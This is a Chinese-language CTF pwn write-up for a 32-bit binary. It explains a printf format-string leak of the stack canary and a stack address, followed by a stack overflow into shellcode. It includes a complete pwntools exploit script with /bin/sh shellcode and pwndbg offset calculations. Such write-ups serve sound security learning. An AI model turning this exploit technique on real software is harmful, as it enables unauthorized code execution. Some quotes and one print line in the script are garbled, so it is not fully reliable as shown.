解题思路:
1、可以利用printf函数泄露出canary的值,然后利用栈溢出填充canary,控制返回指针执行getshell函数。
2、用格式化字符串漏洞泄露运行的函数,计算出来system,/bin/sh的真实地址。用格式化字符串漏洞写入数据到返回地址。
3、格式化字符串,也是一种比较常见的漏洞类型。会触发该漏洞的函数很有限。主要就是printf还有sprintf,fprintf等等c库中print家族的函数。
4、anary主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈上保存的函数返回地址来达到劫持程序执行流的目的。
Stack canary保护机制在刚进入函数时,在栈上放置一个标志canary,然后 在函数结束时,判断该标志是否被改变,如果被改变,则表示有攻击行为发生。
工具:ubuntu虚拟机
解题过程:
1):
把题目放进ubuntu虚拟机分析题目:
题目是Arch模式是32位的,stack(栈)发现有canary保护机制,然后NX关闭。
2) :
接着把题目放进IDAx32位分析源程序:
因为在C语言中,print()输出函数要指定输出的类型;
源程序中的并没有指定输出类型,因此存在字符串canary漏洞。
3):
知道函数存在字符串漏洞,然后在ubuntu虚拟机中调试程序:
为什么要插入断点呢?
断点的地址是泄露函数的地址:这里指的是在主函数main()中的get_massage函数的地址:
因为还不怎么才开始学不懂写脚本,只能先分析人家的脚本:
这是题目的脚本:
from pwn import *
shellcode="\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f"
“\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0”
“\x0b\xcd\x80\n”
context.log_level=‘debug’
p=process("./pwn1")
#p=remote(‘172.16.80.240’,8000)
#########################leak canary,prev_ebp_addr################
p.recvuntil(‘name:’)
p.sendline(’%p.’*40)
leak_data=p.recvuntil(‘messages:’)
address=leak_data.split(’.’)
for i in range(len(address)):
print str(i)+WA’:’+str(address[i])
canary=address[30]
print “canary=”+canary
prev_ebp_addr=address[33]
print “stack_addr=”+prev_ebp_addr
#########################get shellcode_addr########################
shellcode_addr=int(prev_ebp_addr,16)-144+0x8
#########################send shellcode and get shell##############
payload=‘a’*100+p32(int(canary,16))+‘A’*12+p32(shellcode_addr)+shellcode
p.sendline(payload)
p.interactive()
分析脚本:
很多的内容和我写上几篇pwn的level题的思路一样,这里就不详述,
将关键的就好:
1)“p.sendline(’%p.’*40)”指的是发送一个长度为40的字符串,其实这里40 可以任意
2)“canary=address[30]”:
30是指canary的地址长度,这么来的?
(栈顶esp到栈底之前,输入姓名的地址还有返回参数的地址)
栈图:
0x246e00是返回参数的地址,也就是“111111”是刚才输入名字的地址,
计算长度:
一个字符串四个字节124/3=31(0~30)
3)“prev_ebp_addr=address[33]”
33是指栈底地址长度(栈顶和栈底之间的地址之间的距离):
pwndbg> distance 0xffffcec8 0xffffce40
0xffffcec8->0xffffce40 is -0x88 bytes (-0x22 words)
int (0x88)
136136/4
34(0~33)
4)“shellcode_addr=int(prev_ebp_addr,16)-144+0x8”
144(栈底ebp的真实地址和虚拟地址之间的距离)怎么来的?
pwndbg> distance 0xffffcf58 0xffffcec8
0xffffcf58->0xffffcec8 is -0x90 bytes (-0x24 words)
int(0x90)
144
5)“12”(姓名参数的返回地址和栈底ebp的地址):
pwndbg> distance 0xffffcec8 0xffffcebc
0xffffcec8->0xffffcebc is -0xc bytes (-0x3 words)
int(0xc)
12
6)“payload=‘a’*100+p32(int(canary,16))+‘A’*12+p32(shellcode_addr)+shellcode”
“100”(栈底esp之前的canary的内存到100)